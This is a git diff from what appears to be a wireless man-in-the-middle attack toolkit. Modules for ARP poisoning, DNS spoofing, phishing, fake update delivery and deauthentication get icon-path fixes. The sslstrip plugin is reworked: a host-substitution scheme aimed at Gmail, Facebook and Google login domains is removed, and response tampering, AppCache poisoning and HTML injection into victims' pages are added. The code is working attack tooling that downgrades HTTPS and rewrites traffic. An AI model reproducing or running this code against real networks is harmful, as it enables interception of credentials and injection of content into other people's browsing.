b/Modules/poisoners/ArpPosion.py index 4329c2e..1916ec0 100644 --- a/Modules/poisoners/ArpPosion.py +++ b/Modules/poisoners/ArpPosion.py @@ -30,7 +30,7 @@ class frm_Arp_Poison(PumpkinModule): def __init__(self, parent=None): super(frm_Arp_Poison, self).__init__(parent) - self.setWindowTitle('Arp Posion Attack ') + self.setWindowTitle('Arp Poison Attack ') self.Main = QVBoxLayout() self.owd = getcwd() self.loadtheme(self.configure.XmlThemeSelected()) @@ -58,7 +58,7 @@ def closeEvent(self, event): def GUI(self): self.form =QFormLayout() - self.movie = QMovie('rsc/loading2.gif', QByteArray(), self) + self.movie = QMovie('Icons/loading2.gif', QByteArray(), self) size = self.movie.scaledSize() self.setGeometry(200, 200, size.width(), size.height()) self.movie_screen = QLabel() @@ -118,12 +118,12 @@ def GUI(self): self.btn_windows_update.clicked.connect(self.show_frm_fake) #icons - self.btn_start_scanner.setIcon(QIcon('rsc/network.png')) - self.btn_Attack_Posion.setIcon(QIcon('rsc/start.png')) - self.btn_Stop_Posion.setIcon(QIcon('rsc/Stop.png')) - self.btn_stop_scanner.setIcon(QIcon('rsc/network_off.png')) - self.btn_server.setIcon(QIcon('rsc/page.png')) - self.btn_windows_update.setIcon(QIcon('rsc/winUp.png')) + self.btn_start_scanner.setIcon(QIcon('Icons/network.png')) + self.btn_Attack_Posion.setIcon(QIcon('Icons/start.png')) + self.btn_Stop_Posion.setIcon(QIcon('Icons/Stop.png')) + self.btn_stop_scanner.setIcon(QIcon('Icons/network_off.png')) + self.btn_server.setIcon(QIcon('Icons/page.png')) + self.btn_windows_update.setIcon(QIcon('Icons/winUp.png')) self.grid0 = QGridLayout() self.grid0.minimumSize() diff --git a/Modules/poisoners/DnsSpoof.py b/Modules/poisoners/DnsSpoof.py index f1795c5..fc25188 100644 --- a/Modules/poisoners/DnsSpoof.py +++ b/Modules/poisoners/DnsSpoof.py @@ -62,7 +62,7 @@ def closeEvent(self, event): def GUI(self): self.form = QFormLayout() self.layoutform = QFormLayout() - self.movie = QMovie('rsc/loading2.gif', QByteArray(), self) + self.movie = QMovie('Icons/loading2.gif', QByteArray(), self) size = self.movie.scaledSize() self.movie_screen = QLabel() self.setGeometry(200, 200, size.width(), size.height()) @@ -136,7 +136,7 @@ def GUI(self): self.btn_start_scanner.setFixedHeight(22) self.btn_stop_scanner.setFixedHeight(22) self.btn_windows_update.setFixedHeight(22) - self.btn_server.setIcon(QIcon('rsc/page.png')) + self.btn_server.setIcon(QIcon('Icons/page.png')) # connet buttons @@ -148,11 +148,11 @@ def GUI(self): self.btn_windows_update.clicked.connect(self.show_frm_fake) #icons - self.btn_start_scanner.setIcon(QIcon('rsc/network.png')) - self.btn_Attack_Posion.setIcon(QIcon('rsc/start.png')) - self.btn_Stop_Posion.setIcon(QIcon('rsc/Stop.png')) - self.btn_stop_scanner.setIcon(QIcon('rsc/network_off.png')) - self.btn_windows_update.setIcon(QIcon('rsc/winUp.png')) + self.btn_start_scanner.setIcon(QIcon('Icons/network.png')) + self.btn_Attack_Posion.setIcon(QIcon('Icons/start.png')) + self.btn_Stop_Posion.setIcon(QIcon('Icons/Stop.png')) + self.btn_stop_scanner.setIcon(QIcon('Icons/network_off.png')) + self.btn_windows_update.setIcon(QIcon('Icons/winUp.png')) # grid status modules self.grid0 = QGridLayout() diff --git a/Modules/servers/PhishingManager.py b/Modules/servers/PhishingManager.py index 9f55d96..87aed90 100644 --- a/Modules/servers/PhishingManager.py +++ b/Modules/servers/PhishingManager.py @@ -113,8 +113,8 @@ def UI(self): # button stop,start self.btn_start_template = QPushButton('Start Server') self.btn_stop_template = QPushButton('Stop Server') - self.btn_start_template.setIcon(QIcon('rsc/start.png')) - self.btn_stop_template.setIcon(QIcon('rsc/Stop.png')) + self.btn_start_template.setIcon(QIcon('Icons/start.png')) + self.btn_stop_template.setIcon(QIcon('Icons/Stop.png')) self.btn_stop_template.setEnabled(False) self.btn_start_template.setFixedWidth(110) self.btn_stop_template.setFixedWidth(110) @@ -125,7 +125,7 @@ def UI(self): self.GroupCheckBox = QGroupBox(self) self.GroupCloneSite = QGroupBox(self) self.GroupSettings.setTitle('Settings:') - self.GroupCheckBox.setTitle('Modules:') + self.GroupCheckBox.setTitle('Options:') self.GroupCloneSite.setTitle('clone:') diff --git a/Modules/spreads/UpdateFake.py b/Modules/spreads/UpdateFake.py index d4de428..7a48d4c 100644 --- a/Modules/spreads/UpdateFake.py +++ b/Modules/spreads/UpdateFake.py @@ -30,7 +30,7 @@ class frm_update_attack(PumpkinModule): def __init__(self, parent=None): super(frm_update_attack, self).__init__(parent) self.setWindowTitle('Windows Update Attack Generator ') - self.setWindowIcon(QIcon('rsc/icon.ico')) + self.setWindowIcon(QIcon('Icons/icon.ico')) self.loadtheme(self.configure.XmlThemeSelected()) self.Main = QVBoxLayout() self.owd = getcwd() @@ -74,10 +74,10 @@ def GUI(self): self.btn_stop.setFixedHeight(50) self.btn_start_server.setFixedHeight(50) #icons - self.btn_open.setIcon(QIcon("rsc/open.png")) - self.btn_stop.setIcon(QIcon("rsc/Stop.png")) - self.btn_reload.setIcon(QIcon("rsc/refresh.png")) - self.btn_start_server.setIcon(QIcon("rsc/server.png")) + self.btn_open.setIcon(QIcon("Icons/open.png")) + self.btn_stop.setIcon(QIcon("Icons/Stop.png")) + self.btn_reload.setIcon(QIcon("Icons/refresh.png")) + self.btn_start_server.setIcon(QIcon("Icons/server.png")) # connect buttons self.btn_open.clicked.connect(self.getpath) @@ -87,11 +87,11 @@ def GUI(self): # radionButton self.rb_windows = QRadioButton("Windows Update",self) - self.rb_windows.setIcon(QIcon("rsc/winUp.png")) + self.rb_windows.setIcon(QIcon("Icons/winUp.png")) self.rb_adobe = QRadioButton("Adobe Update", self) - self.rb_adobe.setIcon(QIcon("rsc/adobe.png")) + self.rb_adobe.setIcon(QIcon("Icons/adobe.png")) self.rb_java = QRadioButton("Java Update", self) - self.rb_java.setIcon(QIcon("rsc/java.png")) + self.rb_java.setIcon(QIcon("Icons/java.png")) self.rb_adobe.setEnabled(False) self.grid.addWidget(self.rb_windows, 0,1) self.grid.addWidget(self.rb_adobe, 0,2) diff --git a/Modules/systems/Macchanger.py b/Modules/systems/Macchanger.py index 9201204..f1681b0 100644 --- a/Modules/systems/Macchanger.py +++ b/Modules/systems/Macchanger.py @@ -28,7 +28,7 @@ class frm_mac_generator(PumpkinModule): def __init__(self, parent=None): super(frm_mac_generator, self).__init__(parent) - self.setWindowIcon(QIcon('rsc/icon.ico')) + self.setWindowIcon(QIcon('Icons/icon.ico')) self.setWindowTitle("MAC Address Generator") self.Main = QVBoxLayout() self.prefix = [ 0x00, 0xCB, 0x01,0x03 ,\ @@ -72,9 +72,9 @@ def MacGUI(self): self.i_mac = QLineEdit(self) self.combo_card = QComboBox(self) self.btn_random = QPushButton("Random MAC") - self.btn_random.setIcon(QIcon("rsc/refresh.png")) + self.btn_random.setIcon(QIcon("Icons/refresh.png")) self.btn_save = QPushButton("Save") - self.btn_save.setIcon(QIcon("rsc/Save.png")) + self.btn_save.setIcon(QIcon("Icons/Save.png")) self.btn_save.clicked.connect(self.change_macaddress) self.btn_random.clicked.connect(self.action_btn_random) self.cards = Refactor.get_interfaces()['all'] diff --git a/Modules/systems/dhcpStarvation.py b/Modules/systems/dhcpStarvation.py index bdea845..9496a41 100644 --- a/Modules/systems/dhcpStarvation.py +++ b/Modules/systems/dhcpStarvation.py @@ -42,8 +42,8 @@ def GUI(self): self.btn_Start_attack.clicked.connect(self.D_attack) self.btn_Stop_attack.clicked.connect(self.kill_thread) - self.btn_Start_attack.setIcon(QIcon("rsc/start.png")) - self.btn_Stop_attack.setIcon(QIcon("rsc/Stop.png")) + self.btn_Start_attack.setIcon(QIcon("Icons/start.png")) + self.btn_Stop_attack.setIcon(QIcon("Icons/Stop.png")) self.form.addRow(self.list_log) self.form.addRow("Status Attack:",self.check) diff --git a/Modules/wireless/ProbeRequest.py b/Modules/wireless/ProbeRequest.py index 8143da9..b7d2508 100644 --- a/Modules/wireless/ProbeRequest.py +++ b/Modules/wireless/ProbeRequest.py @@ -32,7 +32,7 @@ def __init__(self, parent=None): self.interface = str(self.configure.xmlSettings("interface", "monitor_mode", None, False)) self.loadtheme(self.configure.XmlThemeSelected()) self.setWindowTitle("Probe Request wifi Monitor") - self.setWindowIcon(QIcon('rsc/icon.ico')) + self.setWindowIcon(QIcon('Icons/icon.ico')) self.setupGUI() def setupGUI(self): @@ -64,9 +64,9 @@ def setupGUI(self): self.btn_refrash.clicked.connect(self.refrash_interface) self.btn_stop.clicked.connect(self.StopProbeResquest) self.btn_scan.clicked.connect(self.StartProbeResquest) - self.btn_scan.setIcon(QIcon('rsc/network.png')) - self.btn_stop.setIcon(QIcon('rsc/network_off.png')) - self.btn_refrash.setIcon(QIcon('rsc/refresh.png')) + self.btn_scan.setIcon(QIcon('Icons/network.png')) + self.btn_stop.setIcon(QIcon('Icons/network_off.png')) + self.btn_refrash.setIcon(QIcon('Icons/refresh.png')) self.get_placa = QComboBox(self) self.loadCard() diff --git a/Modules/wireless/WirelessDeauth.py b/Modules/wireless/WirelessDeauth.py index 39f36a2..5e4c5f3 100644 --- a/Modules/wireless/WirelessDeauth.py +++ b/Modules/wireless/WirelessDeauth.py @@ -32,7 +32,7 @@ def __init__(self, parent=None): super(frm_deauth, self).__init__(parent) self.Main = QVBoxLayout() self.setWindowTitle("Deauth Attack wireless Route") - self.setWindowIcon(QIcon('rsc/icon.ico')) + self.setWindowIcon(QIcon('Icons/icon.ico')) self.interface = self.configure.xmlSettings("interface", "monitor_mode", None, False) self.ApsCaptured = {} self.data = {'Bssid':[], 'Essid':[], 'Channel':[]} @@ -106,10 +106,10 @@ def window_qt(self): self.btn_stop.setEnabled(False) #icons - self.btn_scan_start.setIcon(QIcon("rsc/network.png")) - self.btn_scan_stop.setIcon(QIcon('rsc/network_off.png')) - self.btn_enviar.setIcon(QIcon("rsc/start.png")) - self.btn_stop.setIcon(QIcon("rsc/Stop.png")) + self.btn_scan_start.setIcon(QIcon("Icons/network.png")) + self.btn_scan_stop.setIcon(QIcon('Icons/network_off.png')) + self.btn_enviar.setIcon(QIcon("Icons/start.png")) + self.btn_stop.setIcon(QIcon("Icons/Stop.png")) self.get_placa = QComboBox(self) diff --git a/Plugins/sslstrip/COPYING b/Plugins/sslstrip/COPYING old mode 100644 new mode 100755 diff --git a/Plugins/sslstrip/ClientRequest.py b/Plugins/sslstrip/ClientRequest.py index 0695ae5..7d29027 100644 --- a/Plugins/sslstrip/ClientRequest.py +++ b/Plugins/sslstrip/ClientRequest.py @@ -16,7 +16,7 @@ # USA # -import urlparse, logging, os, sys, random, re +import urlparse, logging, os, sys, random from twisted.web.http import Request from twisted.web.http import HTTPChannel @@ -34,9 +34,6 @@ from CookieCleaner import CookieCleaner from DnsCache import DnsCache -def NUEVO_LOG(str): - return - class ClientRequest(Request): ''' This class represents incoming client requests and is essentially where @@ -55,30 +52,15 @@ def __init__(self, channel, queued, reactor=reactor): def cleanHeaders(self): headers = self.getAllHeaders().copy() + if 'accept-encoding' in headers: del headers['accept-encoding'] - if 'referer' in headers: - real = self.urlMonitor.real - if len(real)>0: - dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) - headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer']) - if 'if-modified-since' in headers: del headers['if-modified-since'] if 'cache-control' in headers: del headers['cache-control'] - - if 'if-none-match' in headers: - del headers['if-none-match'] - - if 'host' in headers: - host = self.urlMonitor.URLgetRealHost("%s"%headers['host']) - logging.debug("Modifing HOST header: %s -> %s"%(headers['host'],host)) - headers['host'] = host - #headers['securelink'] = '1' - self.setHeader('Host',host) return headers @@ -89,7 +71,6 @@ def getPathFromUri(self): return self.uri - def getPathToLockIcon(self): if os.path.exists("lock.ico"): return "lock.ico" @@ -101,37 +82,20 @@ def getPathToLockIcon(self): logging.warning("Error: Could not find lock.ico") return "lock.ico" - def save_req(self,lfile,str): - f = open(lfile,"a") - f.write(str) - f.close() - def handleHostResolvedSuccess(self, address): - headers = self.cleanHeaders() -# for header in headers: -# logging.debug("HEADER %s = %s",header,headers[header]) - logging.debug("Resolved host successfully: %s -> %s" % (self.getHeader('host').lower(), address)) - lhost = self.getHeader("host").lower() - host = self.urlMonitor.URLgetRealHost("%s"%lhost) - client = self.getClientIP() - path = self.getPathFromUri() + logging.debug("Resolved host successfully: %s -> %s" % (self.getHeader('host'), address)) + host = self.getHeader("host") + headers = self.cleanHeaders() + client = self.getClientIP() + path = self.getPathFromUri() + self.content.seek(0,0) postData = self.content.read() - real = self.urlMonitor.real - patchDict = self.urlMonitor.patchDict - - if len(real)>0: - dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) - path = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), path) - postData = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), postData) - if len(patchDict)>0: - dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) - postData = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), postData) - url = 'http://' + host + path - headers['content-length']="%d"%len(postData) + self.uri = url # set URI to absolute self.dnsCache.cacheResolution(host, address) + if (not self.cookieCleaner.isClean(self.method, client, host, headers)): logging.debug("Sending expired cookies...") self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, @@ -139,14 +103,12 @@ def handleHostResolvedSuccess(self, address): elif (self.urlMonitor.isSecureFavicon(client, path)): logging.debug("Sending spoofed favicon response...") self.sendSpoofedFaviconResponse() - elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): - if 'securelink' in headers: - del headers['securelink'] - logging.debug("LEO Sending request via SSL...(%s %s)"%(client,url)) - self.proxyViaSSL(address, self.method, path, postData, headers, + elif (self.urlMonitor.isSecureLink(client, url)): + logging.debug("Sending request via SSL...") + self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) else: - logging.debug("LEO Sending request via HTTP...") + logging.debug("Sending request via HTTP...") self.proxyViaHTTP(address, self.method, path, postData, headers) def handleHostResolvedError(self, error): @@ -164,8 +126,8 @@ def resolveHost(self, host): return reactor.resolve(host) def process(self): - host = self.urlMonitor.URLgetRealHost("%s"%self.getHeader('host')) - logging.debug("Resolving host: %s" % host) + logging.debug("Resolving host: %s" % (self.getHeader('host'))) + host = self.getHeader('host') deferred = self.resolveHost(host) deferred.addCallback(self.handleHostResolvedSuccess) @@ -173,16 +135,14 @@ def process(self): def proxyViaHTTP(self, host, method, path, postData, headers): connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) - self.save_req("debug_ssl.log",method+' http://'+host+path+'\n'+str(headers)+'\n'+postData+'\n') connectionFactory.protocol = ServerConnection self.reactor.connectTCP(host, 80, connectionFactory) def proxyViaSSL(self, host, method, path, postData, headers, port): - self.save_req("debug_ssl.log",method+' https://'+host+path+'\n'+str(headers)+'\n'+postData+'\n') - clientContextFactory = ssl.ClientContextFactory() - connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) - connectionFactory.protocol = SSLServerConnection - self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory) + clientContextFactory = ssl.ClientContextFactory() + connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) + connectionFactory.protocol = SSLServerConnection + self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory) def sendExpiredCookies(self, host, path, expireHeaders): self.setResponseCode(302, "Moved") diff --git a/Plugins/sslstrip/DummyResponseTamperer.py b/Plugins/sslstrip/DummyResponseTamperer.py new file mode 100644 index 0000000..7ca2600 --- /dev/null +++ b/Plugins/sslstrip/DummyResponseTamperer.py @@ -0,0 +1,47 @@ +# Copyright (c) 2004-2009 Moxie Marlinspike, Krzysztof Kotowicz +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +from sslstrip.URLMonitor import URLMonitor + +class DummyResponseTamperer: + + ''' + DummyResponseTamperer is an exemplary class for server response tampering. + ''' + + def __init__(self, config): + self.config = config + self.urlMonitor = URLMonitor.getInstance() + logging.log(logging.DEBUG, "Tampering enabled.") + + def isEnabled(self): + return self.config["enabled"] + + def tamper(self, url, data, headers, req_headers, ip): + if not self.isEnabled(): + return data + + # headers manipulation - see http://twistedmatrix.com/documents/10.1.0/api/twisted.web.http_headers.Headers.html + # setting headers + #headers.setRawHeaders("X-aaa", ["aaa"]) + # getting headers + #headers.getRawHeaders("Content-Type") + + return data + diff --git a/Plugins/sslstrip/README.md b/Plugins/sslstrip/README.md old mode 100644 new mode 100755 index 181bdc9..ab3f7be --- a/Plugins/sslstrip/README.md +++ b/Plugins/sslstrip/README.md @@ -1,6 +1,23 @@ sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks. +This fork can also perform response tampering attacks. (by Koto [Krzysztof Kotowicz]) + +One prepared example of tampering attack is HTML5 AppCache poisoning attack that places the +modified responses in browsers long-lasting HTML5 AppCache so that the spoofing continues +even after the victim is no longer MITMed. This functionality has been added by Krzysztof Kotowicz + + +Option: -t , --tamper Enable response tampering with settings from . +Example: sslstrip -t app_cache_poison/config.ini + + +This fork can also inject code into HTML pages using a text file only. (by xtr4nge based on Kane Mathers commit) + +Option: -i , --inject Inject HTML code. +Example: sslstrip -i inject.txt + + It requires Python 2.5 or newer, along with the 'twisted' python module. Installing: @@ -30,3 +47,4 @@ Running: More Info: http://www.thoughtcrime.org/software/sslstrip/ + http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html diff --git a/Plugins/sslstrip/ResponseTampererFactory.py b/Plugins/sslstrip/ResponseTampererFactory.py new file mode 100644 index 0000000..53b91b9 --- /dev/null +++ b/Plugins/sslstrip/ResponseTampererFactory.py @@ -0,0 +1,62 @@ +# Copyright (c) 2004-2009 Moxie Marlinspike, Krzysztof Kotowicz +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging, ConfigParser + +class ResponseTampererFactory: + + ''' + ResponseTampererFactory creates response tamperer that modifies responses to clients based on config file setting. + ''' + + _instance = None + + _default_config = {"enabled": False, "tamper_class": "sslstrip.DummyResponseTamperer"} + + def __init__(self): + pass + + def createTamperer(configFile): + logging.log(logging.DEBUG, "Reading tamper config file: %s" % (configFile)) + config = ResponseTampererFactory._default_config.copy() + if configFile: + config.update(ResponseTampererFactory.parseConfig(configFile)) + if config['enabled']: + logging.log(logging.DEBUG, "Loading tamper class: %s" % (config["tamper_class"])) + m = __import__(config["tamper_class"], globals(), locals(), config["tamper_class"]) + return getattr(m, m.__name__.replace(m.__package__ + ".", ''))(config) + + def parseConfig(configFile): + config = ConfigParser.ConfigParser() + config.read(configFile) + readConfig = config._sections + readConfig.update(config.defaults()) + return readConfig + + def getTampererInstance(): + return ResponseTampererFactory._instance + + def buildTamperer(configFile): + if ResponseTampererFactory._instance == None: + ResponseTampererFactory._instance = ResponseTampererFactory.createTamperer(configFile) + + getTampererInstance = staticmethod(getTampererInstance) + buildTamperer = staticmethod(buildTamperer) + createTamperer = staticmethod(createTamperer) + parseConfig = staticmethod(parseConfig) + diff --git a/Plugins/sslstrip/SSLServerConnection.py b/Plugins/sslstrip/SSLServerConnection.py index b765ce4..2859fa4 100644 --- a/Plugins/sslstrip/SSLServerConnection.py +++ b/Plugins/sslstrip/SSLServerConnection.py @@ -45,23 +45,8 @@ def getPostPrefix(self): def handleHeader(self, key, value): if (key.lower() == 'set-cookie'): - newvalues =[] - value = SSLServerConnection.cookieExpression.sub("\g<1>", value) - values = value.split(';') - for v in values: - if v[:7].lower()==' domain': - dominio=v.split("=")[1] - logging.debug("LEO Parsing cookie domain parameter: %s"%v) - real = self.urlMonitor.sustitucion - if dominio in real: - v=" Domain=%s"%real[dominio] - logging.debug("LEO New cookie domain parameter: %s"%v) - newvalues.append(v) - value = ';'.join(newvalues) - - if (key.lower() == 'access-control-allow-origin'): - value='*' - + value = SSLServerConnection.cookieExpression.sub("\g<1>", value) + ServerConnection.handleHeader(self, key, value) def stripFileFromPath(self, path): diff --git a/Plugins/sslstrip/ServerConnection.py b/Plugins/sslstrip/ServerConnection.py index a7be05e..8379b21 100644 --- a/Plugins/sslstrip/ServerConnection.py +++ b/Plugins/sslstrip/ServerConnection.py @@ -20,6 +20,8 @@ from twisted.web.http import HTTPClient from URLMonitor import URLMonitor +from ResponseTampererFactory import ResponseTampererFactory +from Proxy import * class ServerConnection(HTTPClient): @@ -30,12 +32,7 @@ class ServerConnection(HTTPClient): urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE) urlType = re.compile(r"https://", re.IGNORECASE) - urlTypewww = re.compile(r"https://www", re.IGNORECASE) - urlwExplicitPort = re.compile(r'https://www([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) - urlToken1 = re.compile(r'(https://[a-zA-Z0-9./]+\?)', re.IGNORECASE) - urlToken2 = re.compile(r'(https://[a-zA-Z0-9./]+)\?{0}', re.IGNORECASE) -# urlToken2 = re.compile(r'(https://[a-zA-Z0-9.]+/?[a-zA-Z0-9.]*/?)\?{0}', re.IGNORECASE) def __init__(self, command, uri, postData, headers, client): self.command = command @@ -44,10 +41,17 @@ def __init__(self, command, uri, postData, headers, client): self.headers = headers self.client = client self.urlMonitor = URLMonitor.getInstance() + self.responseTamperer = ResponseTampererFactory.getTampererInstance() self.isImageRequest = False self.isCompressed = False self.contentLength = None self.shutdownComplete = False + self.plugins = {} + plugin_classes = Plugin.PluginProxy.__subclasses__() + for p in plugin_classes: self.plugins[p._name] = p() + for pluginscheck in self.plugins.keys(): + if self.plugins[pluginscheck].getInstance()._activated: + self.HTMLInjector = self.plugins[pluginscheck].getInstance() def getLogLevel(self): return logging.DEBUG @@ -87,6 +91,7 @@ def handleHeader(self, key, value): if (key.lower() == 'location'): value = self.replaceSecureLinks(value) + self.urlMonitor.addRedirection(self.client.uri, value) if (key.lower() == 'content-type'): if (value.find('image') != -1): @@ -101,11 +106,8 @@ def handleHeader(self, key, value): self.contentLength = value elif (key.lower() == 'set-cookie'): self.client.responseHeaders.addRawHeader(key, value) - elif (key.lower()== 'strict-transport-security'): - logging.log(self.getLogLevel(), "LEO Erasing Strict Transport Security....") else: self.client.setHeader(key, value) - def handleEndHeaders(self): if (self.isImageRequest and self.contentLength != None): @@ -132,48 +134,44 @@ def handleResponse(self, data): data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() logging.log(self.getLogLevel(), "Read from server:\n" + data) - #logging.log(self.getLogLevel(), "Read from server:\n " ) - data = self.replaceSecureLinks(data) + # ------ TAMPER ------ + if self.responseTamperer: + data = self.responseTamperer.tamper(self.client.uri, data, self.client.responseHeaders, self.client.getAllHeaders(), self.client.getClientIP()) + # ------ TAMPER ------ + if hasattr(self,'HTMLInjector'): + # ------ HTML CODE INJECT ------ + if self.HTMLInjector._instance != None: + content_type = self.client.responseHeaders.getRawHeaders('content-type') + + # only want to inject into text/html pages + if content_type and content_type[0] == 'text/html': + #data = self.HTMLInjector.inject(data) + data = self.HTMLInjector.inject(data, self.client.uri) + # ------ HTML CODE INJECT ------ + if (self.contentLength != None): self.client.setHeader('Content-Length', len(data)) - + self.client.write(data) self.shutdown() def replaceSecureLinks(self, data): - sustitucion = {} - patchDict = self.urlMonitor.patchDict - if len(patchDict)>0: - dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) - data = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), data) - - iterator = re.finditer(ServerConnection.urlExpression, data) + iterator = re.finditer(ServerConnection.urlExpression, data) + for match in iterator: url = match.group() - + logging.debug("Found secure reference: " + url) - nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url) - logging.debug("LEO replacing %s => %s"%(url,nuevaurl)) - sustitucion[url] = nuevaurl - #data.replace(url,nuevaurl) - - #data = self.urlMonitor.DataReemplazo(data) - if len(sustitucion)>0: - dregex = re.compile("(%s)" % "|".join(map(re.escape, sustitucion.keys()))) - data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data) - - #logging.debug("LEO DEBUG received data:\n"+data) - #data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data) - #data = re.sub(ServerConnection.urlTypewww, 'http://w', data) - #if data.find("http://w.face")!=-1: - # logging.debug("LEO DEBUG Found error in modifications") - # raw_input("Press Enter to continue") - #return re.sub(ServerConnection.urlType, 'http://web.', data) - return data + url = url.replace('https://', 'http://', 1) + url = url.replace('&', '&') + self.urlMonitor.addSecureLink(self.client.getClientIP(), url) + + data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data) + return re.sub(ServerConnection.urlType, 'http://', data) def shutdown(self): if not self.shutdownComplete: diff --git a/Plugins/sslstrip/URLMonitor.py b/Plugins/sslstrip/URLMonitor.py index e74f9cc..5ba1006 100644 --- a/Plugins/sslstrip/URLMonitor.py +++ b/Plugins/sslstrip/URLMonitor.py @@ -1,7 +1,22 @@ -# URLMonitor +# Copyright (c) 2004-2009 Moxie Marlinspike +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# import re -import logging class URLMonitor: @@ -13,39 +28,18 @@ class URLMonitor: # Start the arms race, and end up here... javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] _instance = None - sustitucion = {} # LEO: diccionario host / sustitucion - real = {} # LEO: diccionario host / real - patchDict = { - 'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net', - 'https:\/\/www.facebook.com':'http:\/\/wwww.facebook.com', - 'return"https:"':'return"http:"' - } def __init__(self): self.strippedURLs = set() self.strippedURLPorts = {} + self.redirects = [] self.faviconReplacement = False - self.sustitucion["mail.google.com"] = "gmail.google.com" - self.real["gmail.google.com"] = "mail.google.com" - self.sustitucion["www.facebook.com"] = "social.facebook.com" - self.real["social.facebook.com"] = "www.facebook.com" - - self.sustitucion["accounts.google.com"] = "cuentas.google.com" - self.real["cuentas.google.com"] = "accounts.google.com" - - self.sustitucion["accounts.google.es"] = "cuentas.google.es" - self.real["cuentas.google.es"] = "accounts.google.es" - - def isSecureLink(self, client, url): for expression in URLMonitor.javascriptTrickery: if (re.match(expression, url)): - logging.debug("JavaScript trickery!") return True - if (client, url) in self.strippedURLs: - logging.debug("(%s, %s) in strippedURLs" % (client, url)) return (client,url) in self.strippedURLs def getSecurePort(self, client, url): @@ -53,17 +47,26 @@ def getSecurePort(self, client, url): return self.strippedURLPorts[(client,url)] else: return 443 - + + def addRedirection(self, from_url, to_url): + for s in self.redirects: + if from_url in s: + s.add(to_url) + return + self.redirects.append(set([from_url,to_url])) + + def getRedirectionSet(self, url): + for s in self.redirects: + if url in s: + return s + return set([url]) + def addSecureLink(self, client, url): methodIndex = url.find("//") + 2 method = url[0:methodIndex] - pathIndex = url.find("/", methodIndex) - - if pathIndex is -1: - pathIndex = len(url) - url += "/" - host = url[methodIndex:pathIndex].lower() + pathIndex = url.find("/", methodIndex) + host = url[methodIndex:pathIndex] path = url[pathIndex:] port = 443 @@ -74,24 +77,11 @@ def addSecureLink(self, client, url): port = host[portIndex+1:] if len(port) == 0: port = 443 - - #LEO: Sustituir HOST - if not self.sustitucion.has_key(host): - lhost = host[:4] - if lhost=="www.": - self.sustitucion[host] = "w"+host - self.real["w"+host] = host - else: - self.sustitucion[host] = "web"+host - self.real["web"+host] = host - logging.debug("LEO: ssl host (%s) tokenized (%s)" % (host,self.sustitucion[host]) ) - - url = 'http://' + host + path - #logging.debug("LEO stripped URL: %s %s"%(client, url)) + + url = method + host + path self.strippedURLs.add((client, url)) self.strippedURLPorts[(client, url)] = int(port) - return 'http://'+self.sustitucion[host]+path def setFaviconSpoofing(self, faviconSpoofing): self.faviconSpoofing = faviconSpoofing @@ -102,15 +92,6 @@ def isFaviconSpoofing(self): def isSecureFavicon(self, client, url): return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) - def URLgetRealHost(self,host): - logging.debug("Parsing host: %s"%host) - if self.real.has_key(host): - logging.debug("New host: %s"%self.real[host]) - return self.real[host] - else: - logging.debug("New host: %s"%host) - return host - def getInstance(): if URLMonitor._instance == None: URLMonitor._instance = URLMonitor() diff --git 